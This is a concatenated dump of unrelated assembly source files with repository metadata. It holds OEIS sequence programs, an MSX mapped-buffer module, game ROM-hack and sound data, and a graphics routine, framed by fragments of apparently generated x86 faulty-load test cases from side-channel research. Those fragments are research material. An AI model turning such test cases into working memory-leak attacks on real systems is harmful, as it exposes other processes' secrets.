%r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT', 'congruent': 6, 'same': False}} {'src': {'type': 'addresses_UC', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_P', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}} {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 10}} {'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 1}} {'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': True, 'congruent': 1}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
29.275862
2,999
0.65114
444645bc88b0a376db60472ea1921a45b313bc70
915
asm
Assembly
programs/oeis/110/A110658.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/110/A110658.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/110/A110658.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A110658: a(n) = A028242(A028242(A028242(n))). ; 1,0,2,1,0,2,1,0,2,1,3,2,1,3,2,1,3,2,4,3,2,4,3,2,4,3,5,4,3,5,4,3,5,4,6,5,4,6,5,4,6,5,7,6,5,7,6,5,7,6,8,7,6,8,7,6,8,7,9,8,7,9,8,7,9,8,10,9,8,10,9,8,10,9,11,10,9,11,10,9,11,10,12,11,10,12,11,10,12,11,13,12,11,13,12,11,13,12,14,13,12,14,13,12,14,13,15,14,13,15,14,13,15,14,16,15,14,16,15,14,16,15,17,16,15,17,16,15,17,16,18,17,16,18,17,16,18,17,19,18,17,19,18,17,19,18,20,19,18,20,19,18,20,19,21,20,19,21,20,19,21,20,22,21,20,22,21,20,22,21,23,22,21,23,22,21,23,22,24,23,22,24,23,22,24,23,25,24,23,25,24,23,25,24,26,25,24,26,25,24,26,25,27,26,25,27,26,25,27,26,28,27,26,28,27,26,28,27,29,28,27,29,28,27,29,28,30,29,28,30,29,28,30,29,31,30,29,31,30,29,31,30,32,31,30,32,31,30,32,31 mov $1,$0 mov $2,1 mov $4,$0 lpb $2,1 add $1,1 add $1,$0 lpb $4,1 add $1,2 mov $3,3 trn $3,$0 trn $0,2 sub $1,5 sub $4,1 trn $4,$3 lpe mov $2,$4 lpe
43.571429
678
0.589071
dc73e928619cdce7413057a83d02accafa23f892
3,909
asm
Assembly
src/MappedBuffer.asm
sharksym/vgmplay-sharksym
d7763b87a379da4e6dadcc55026969d310957952
[ "BSD-2-Clause" ]
6
2020-04-21T17:26:27.000Z
2021-09-25T18:41:01.000Z
src/MappedBuffer.asm
sharksym/vgmplay-sharksym
d7763b87a379da4e6dadcc55026969d310957952
[ "BSD-2-Clause" ]
null
null
null
src/MappedBuffer.asm
sharksym/vgmplay-sharksym
d7763b87a379da4e6dadcc55026969d310957952
[ "BSD-2-Clause" ]
null
null
null
; ; Memory-mapped buffer ; MappedBuffer_MAX_SEGMENTS: equ 256 MappedBuffer: MACRO size: dd 0 freebie: MapperSegment segmentCount: dw 0 segments: REPT MappedBuffer_MAX_SEGMENTS MapperSegment ENDM _size: ENDM ; a = freebie segment number (0: none) ; b = freebie slot id (0: none) ; ix = this MappedBuffer_Construct: ld (ix + MappedBuffer.freebie + MapperSegment.segment),a ld (ix + MappedBuffer.freebie + MapperSegment.slot),b ret ; ix = this MappedBuffer_Destruct: PROC ld c,(ix + MappedBuffer.segmentCount) ld b,(ix + MappedBuffer.segmentCount + 1) ld a,c or b ret z ld l,(ix + MappedBuffer.freebie + MapperSegment.segment) ld h,(ix + MappedBuffer.freebie + MapperSegment.slot) push ix Loop: push bc push hl ld c,(ix + MappedBuffer.segments + MapperSegment.segment) ld b,(ix + MappedBuffer.segments + MapperSegment.slot) and a sbc hl,bc ld a,c call nz,Mapper_instance.Free call c,System_ThrowException ld bc,MapperSegment._size add ix,bc pop hl pop bc dec bc ld a,b or c jr nz,Loop pop ix ret ENDP ; ix = this ; de <- nr of segments MappedBuffer_GetSegmentCount: ld e,(ix + MappedBuffer.segmentCount) ld d,(ix + MappedBuffer.segmentCount + 1) ret ; h = address space page ; de = segment index ; ix = this ; Modifies: af MappedBuffer_SelectSegment: PROC ld a,d cp (ix + MappedBuffer.segmentCount + 1) jr c,Ok call nz,System_ThrowException ld a,e cp (ix + MappedBuffer.segmentCount) call nc,System_ThrowException Ok: push bc push de push hl push ix add ix,de add ix,de ld a,(ix + MappedBuffer.segments + MapperSegment.slot) push hl call Memory_SetSlot pop hl ld a,(ix + MappedBuffer.segments + MapperSegment.segment) call Mapper_instance.PutPH pop ix pop hl pop de pop bc ret ENDP ; ix = this ; de <- new segment index MappedBuffer_AllocateAndAddSegment: PROC ld a,(ix + MappedBuffer.segmentCount) or (ix + MappedBuffer.segmentCount + 1) jr nz,Continue or (ix + MappedBuffer.freebie + MapperSegment.slot) jr nz,Freebie Continue: call MappedBuffer_AllocateSegment jr MappedBuffer_AddSegment Freebie: ld a,(ix + MappedBuffer.freebie + MapperSegment.segment) ld b,(ix + MappedBuffer.freebie + MapperSegment.slot) jr MappedBuffer_AddSegment ENDP ; ix = this ; a <- segment number ; b <- slot id MappedBuffer_AllocateSegment: ld a,(Mapper_instance.primaryMapperSlot) or 00100000B ; allocate primary slot, or another ld b,a ld a,0 call Mapper_instance.Allocate ld hl,MappedBuffer_outOfMemoryError call c,System_ThrowExceptionWithMessage ret ; a = segment number ; b = slot id ; ix = this ; de <- new segment index ; Modifies: hl MappedBuffer_AddSegment: ld e,(ix + MappedBuffer.segmentCount) ld d,(ix + MappedBuffer.segmentCount + 1) ld hl,-MappedBuffer_MAX_SEGMENTS add hl,de ld hl,MappedBuffer_outOfMemoryError call c,System_ThrowExceptionWithMessage inc de ld (ix + MappedBuffer.segmentCount),e ld (ix + MappedBuffer.segmentCount + 1),d dec de push ix add ix,de add ix,de ld (ix + MappedBuffer.segments + MapperSegment.segment),a ld (ix + MappedBuffer.segments + MapperSegment.slot),b pop ix ret ; bc = size to add ; ix = this MappedBuffer_IncreaseSize: ld l,(ix + MappedBuffer.size) ld h,(ix + MappedBuffer.size + 1) ld e,(ix + MappedBuffer.size + 2) ld d,(ix + MappedBuffer.size + 3) add hl,bc ld (ix + MappedBuffer.size),l ld (ix + MappedBuffer.size + 1),h ret nc inc de ld (ix + MappedBuffer.size + 2),e ld (ix + MappedBuffer.size + 3),d ret ; dehl = position ; ix = this ; f <- nc: position points past the end ; Modifies: af MappedBuffer_IsValidPosition: ld a,d cp (ix + MappedBuffer.size + 3) ret c ld a,e cp (ix + MappedBuffer.size + 2) ret c ld a,h cp (ix + MappedBuffer.size + 1) ret c ld a,l cp (ix + MappedBuffer.size) ret ; SECTION RAM_PAGE0 MappedBuffer_instance: MappedBuffer ENDS MappedBuffer_outOfMemoryError: db "Not enough memory.",13,10,0
19.943878
58
0.729087
66c2d016660b3de3fd5d4948e1806e9c2dafc591
2,839
asm
Assembly
programs/oeis/024/A024386.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/024/A024386.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/024/A024386.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A024386: [ (3rd elementary symmetric function of S(n))/(first elementary symmetric function of S(n)) ], where S(n) = {first n+2 positive integers congruent to 1 mod 4}. ; 3,29,114,310,685,1323,2324,3804,5895,8745,12518,17394,23569,31255,40680,52088,65739,81909,100890,122990,148533,177859,211324,249300,292175,340353,394254,454314,520985,594735,676048,765424,863379,970445,1087170,1214118,1351869,1501019,1662180,1835980,2023063,2224089,2439734,2670690,2917665,3181383,3462584,3762024,4080475,4418725,4777578,5157854,5560389,5986035,6435660,6910148,7410399,7937329,8491870,9074970,9687593,10330719,11005344,11712480,12453155,13228413,14039314,14886934,15772365,16696715,17661108,18666684,19714599,20806025,21942150,23124178,24353329,25630839,26957960,28335960,29766123,31249749,32788154,34382670,36034645,37745443,39516444,41349044,43244655,45204705,47230638,49323914,51486009,53718415,56022640,58400208,60852659,63381549,65988450,68674950,71442653,74293179,77228164,80249260,83358135,86556473,89845974,93228354,96705345,100278695,103950168,107721544,111594619,115571205,119653130,123842238,128140389,132549459,137071340,141707940,146461183,151333009,156325374,161440250,166679625,172045503,177539904,183164864,188922435,194814685,200843698,207011574,213320429,219772395,226369620,233114268,240008519,247054569,254254630,261610930,269125713,276801239,284639784,292643640,300815115,309156533,317670234,326358574,335223925,344268675,353495228,362906004,372503439,382289985,392268110,402440298,412809049,423376879,434146320,445119920,456300243,467689869,479291394,491107430,503140605,515393563,527868964,540569484,553497815,566656665,580048758,593676834,607543649,621651975,636004600,650604328,665453979,680556389,695914410,711530910,727408773,743550899,759960204,776639620,793592095,810820593,828328094,846117594,864192105,882554655,901208288,920156064,939401059,958946365,978795090,998950358,1019415309,1040193099,1061286900,1082699900,1104435303,1126496329,1148886214,1171608210,1194665585,1218061623,1241799624,1265882904,1290314795,1315098645,1340237818,1365735694,1391595669,1417821155,1444415580,1471382388,1498725039,1526447009,1554551790,1583042890,1611923833,1641198159,1670869424,1700941200,1731417075,1762300653,1793595554,1825305414,1857433885,1889984635,1922961348,1956367724,1990207479,2024484345,2059202070,2094364418,2129975169,2166038119,2202557080,2239535880,2276978363,2314888389,2353269834,2392126590,2431462565,2471281683,2511587884,2552385124,2593677375,2635468625 mov $12,$0 mov $14,$0 add $14,1 lpb $14 clr $0,12 mov $0,$12 sub $14,1 sub $0,$14 mov $9,$0 mov $11,$0 add $11,1 lpb $11 mov $0,$9 sub $11,1 sub $0,$11 mul $0,2 mov $7,$0 add $0,3 mul $0,$7 mov $1,2 mov $5,$0 add $5,2 mul $1,$5 sub $1,1 add $10,$1 lpe add $13,$10 lpe mov $1,$13
86.030303
2,315
0.825291
5ee5b93087270163b4d9855b71375e24fdeb6b3e
357
asm
Assembly
programs/oeis/109/A109110.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/109/A109110.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/109/A109110.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A109110: a(n) = 2a(n-1) + a(n-2) - a(n-3); a(0)=4, a(1)=9, a(2)=20. ; 4,9,20,45,101,227,510,1146,2575,5786,13001,29213,65641,147494,331416,744685,1673292,3759853,8448313,18983187,42654834,95844542,215360731,483911170,1087338529,2443227497,5489882353,12335653674,27717962204 add $0,1 seq $0,77850 ; Expansion of (1-x)^(-1)/(1 - 2*x - x^2 + x^3). add $0,1
51
205
0.683473
9cb40d308411206064cdd745febec5e58a4bd997
183
asm
Assembly
ffight/lcs/boss/2.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
ffight/lcs/boss/2.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
ffight/lcs/boss/2.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 03D4C8 move.b #$2, ($3,A6) [boss+2] 03ED60 clr.b ($3,A6) [boss+2] copyright zengfr site:http://github.com/zengfr/romhack
26.142857
54
0.699454
0d0d6091161a9ae49069aadd7c21d26954f80c10
364
asm
Assembly
programs/oeis/126/A126664.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/126/A126664.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/126/A126664.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A126664: Continued fraction expansion of sqrt(3)/2. ; 0,1,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6 mov $1,$0 sub $0,1 add $0,$1 lpb $0 mod $0,4 mov $1,$0 mod $0,3 mul $1,2 lpe
28
223
0.532967
b498dbc92fe5658114149ff18d4844dfe3afc54f
421
asm
Assembly
oeis/156/A156570.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/156/A156570.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/156/A156570.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A156570: a(n) = 6*a(n-1)-a(n-2) for n > 2; a(1)=17, a(2)=65. ; Submitted by Jamie Morken(s1) ; 17,65,373,2173,12665,73817,430237,2507605,14615393,85184753,496493125,2893773997,16866150857,98303131145,572952636013,3339412684933,19463523473585,113441728156577,661186845465877,3853679344638685 mov $1,4 mov $2,9 lpb $0 sub $0,1 sub $1,1 add $1,$2 add $2,$1 add $2,$1 add $1,$2 lpe mul $2,2 mov $0,$2 sub $0,1
23.388889
197
0.691211
07d88549270c4ceb5d4715340e4519c919cad64c
737
asm
Assembly
sound/sfxasm/84.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
7
2019-12-05T00:35:57.000Z
2022-02-27T20:00:33.000Z
sound/sfxasm/84.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
null
null
null
sound/sfxasm/84.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
null
null
null
84_Header: sHeaderInit ; Z80 offset is $CDC5 sHeaderPatch 84_Patches sHeaderTick $01 sHeaderCh $01 sHeaderSFX $80, $05, 84_FM5, $02, $07 84_FM5: sPatFM $00 dc.b nF0, $04, $03, $03, nC0, $1B sLoop $00, $04, 84_FM5 sStop 84_Patches: ; Patch $00 ; $10 ; $06, $03, $03, $06, $14, $16, $14, $18 ; $15, $19, $0C, $11, $1E, $0F, $0E, $10 ; $13, $0D, $0E, $9C, $00, $10, $0A, $80 spAlgorithm $00 spFeedback $02 spDetune $00, $00, $00, $00 spMultiple $06, $03, $03, $06 spRateScale $00, $00, $00, $00 spAttackRt $14, $14, $16, $18 spAmpMod $00, $00, $00, $00 spSustainRt $15, $0C, $19, $11 spSustainLv $01, $00, $00, $09 spDecayRt $1E, $0E, $0F, $10 spReleaseRt $03, $0E, $0D, $0C spTotalLv $00, $0A, $10, $00
22.333333
41
0.578019
c711ddde85d9fea597364d2ac78d5d315790e4d5
506
asm
Assembly
programs/oeis/315/A315526.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/315/A315526.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/315/A315526.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A315526: Coordination sequence Gal.6.637.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,6,11,17,22,28,34,40,45,51,56,62,68,73,79,84,90,96,102,107,113,118,124,130,135,141,146,152,158,164,169,175,180,186,192,197,203,208,214,220,226,231,237,242,248,254,259,265,270,276 sub $1,$0 mov $4,$0 mul $0,5 div $0,11 mov $2,$0 add $0,1 add $1,$0 div $1,3 sub $2,$1 mov $1,$2 add $1,1 mov $3,$4 mul $3,5 add $1,$3 mov $0,$1
26.631579
181
0.683794
27758251d81160560b5458e3594c2cf4121d602a
2,839
asm
Assembly
alice2/brads_alice2_archive/asm/graphics.asm
lkesteloot/alice
44b85caf744e5830536b5e813e761cc0ce3f695e
[ "Apache-2.0" ]
63
2015-08-14T23:27:39.000Z
2022-03-09T22:46:11.000Z
alice2/brads_alice2_archive/asm/graphics.asm
lkesteloot/alice
44b85caf744e5830536b5e813e761cc0ce3f695e
[ "Apache-2.0" ]
64
2015-09-11T23:13:03.000Z
2018-10-29T09:38:06.000Z
alice2/brads_alice2_archive/asm/graphics.asm
lkesteloot/alice
44b85caf744e5830536b5e813e761cc0ce3f695e
[ "Apache-2.0" ]
9
2016-01-06T00:06:33.000Z
2021-12-07T10:38:15.000Z
#define SCREEN_ROWBYTES 22 #define SCREEN_FIRST_VISIBLE_ROW 92 #define SCREEN_FIRST_VISIBLE_COLUMN 3 #define SCREEN_FIRST_VISIBLE_BYTE_OFFSET (SCREEN_ROWBYTES * SCREEN_FIRST_VISIBLE_ROW + SCREEN_FIRST_VISIBLE_COLUMN) GFX_MEM EQU 04000H ; framebuffer GFX_FB EQU GFX_MEM + SCREEN_FIRST_VISIBLE_BYTE_OFFSET ; start of visible region ; GFX_BUF from rom.asm GRAYBAR_PTR EQU GFX_BUF + 0 ; ; initialize graphics ; GFX_INIT PUSH AF PUSH BC PUSH DE PUSH HL LD HL, GFX_FB LD (GRAYBAR_PTR), HL POP HL POP DE POP BC POP AF RET ; ; ; GFX_GRAYBAR PUSH AF PUSH BC PUSH DE PUSH HL LD C, 0FFH ; C = 0xff LD HL, (GRAYBAR_PTR) ; HL = GRAYBAR_PTR LD B, A ; B = A GRAYLP1 LD (HL), C ; (HL) = C INC HL ; increment HL DJNZ GRAYLP1 ; if(B--) goto GRAYLP1 LD HL, (GRAYBAR_PTR) LD BC, SCREEN_ROWBYTES ADD HL, BC LD (GRAYBAR_PTR), HL POP HL POP DE POP BC POP AF RET ; ; Clear the framebuffer - heavy handed, clears all of graphics memory ; GFX_CLEAR PUSH AF PUSH BC PUSH DE PUSH HL LD C, 0 ; C = 0; LD A, 64 ; A = 64; // 64 * 256 bytes LD HL, GFX_MEM CLRLP1 LD B, 0 ; b = 0; 256 bytes CLRLP2 LD (HL), C ; store 0 byte INC HL ; increment HL DJNZ CLRLP2 ; inner loop continue DEC A JP NZ, CLRLP1 ; outer loop continue POP HL POP DE POP BC POP AF RET ; ; Store a bit-pattern test in graphics memory, assuming a multiple of 11 bytes ; GFX_TESTPAT PUSH AF PUSH BC PUSH DE PUSH HL LD C, 0 LD A, 32 LD HL, GFX_MEM + SCREEN_ROWBYTES * 120 TESTPATLP1 LD B, 23 TESTPATLP2 LD (HL), 0FFh ; store 0xFF byte INC HL ; increment HL LD (HL), 0FFh ; store 0xFF byte INC HL ; increment HL LD (HL), 0 ; store 0 byte INC HL ; increment HL LD (HL), H ; store H of address of this byte INC HL ; increment HL LD (HL), L ; store L of address of this byte INC HL ; increment HL LD (HL), 0 ; store 0 byte INC HL ; increment HL LD (HL), 0 ; store 0 byte INC HL ; increment HL LD (HL), A ; store A of this loop pass INC HL ; increment HL LD (HL), 0 ; store 0 byte INC HL ; increment HL LD (HL), B ; store B of this loop pass INC HL ; increment HL LD (HL), 0 ; store 0 byte INC HL ; increment HL DJNZ TESTPATLP2 ; inner loop continue DEC A JP NZ, TESTPATLP1 ; outer loop continue POP HL POP DE POP BC POP AF RET
19.57931
115
0.547376
04bb3d66c2eed887d2f238dc24761c63e3107f75
4,867
asm
Assembly
Transynther/x86/_processed/US/_ht_zr_un_/i3-7100_9_0xca_notsx.log_161_357.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_ht_zr_un_/i3-7100_9_0xca_notsx.log_161_357.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_ht_zr_un_/i3-7100_9_0xca_notsx.log_161_357.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x117de, %r12 cmp %rax, %rax movw $0x6162, (%r12) nop nop add %rbx, %rbx lea addresses_normal_ht+0xecca, %r12 nop nop nop dec %r13 mov $0x6162636465666768, %rcx movq %rcx, (%r12) nop nop nop sub %r10, %r10 lea addresses_UC_ht+0x19a3a, %rcx nop nop nop nop dec %r8 vmovups (%rcx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %rbx nop sub $59728, %rax lea addresses_A_ht+0x1d4c2, %rbx nop nop sub %r12, %r12 movups (%rbx), %xmm0 vpextrq $1, %xmm0, %r13 add %rax, %rax lea addresses_D_ht+0x151ba, %r13 nop nop nop nop nop xor $25419, %rbx vmovups (%r13), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %r12 nop nop and $49142, %r8 lea addresses_WT_ht+0x1ee2, %rbx nop nop nop nop nop add %r10, %r10 mov $0x6162636465666768, %r13 movq %r13, %xmm0 movups %xmm0, (%rbx) nop nop nop xor %r12, %r12 lea addresses_WC_ht+0x67fa, %r10 nop nop inc %r8 movl $0x61626364, (%r10) nop nop nop and %r8, %r8 lea addresses_WC_ht+0xd1ba, %rsi lea addresses_UC_ht+0xe5a, %rdi 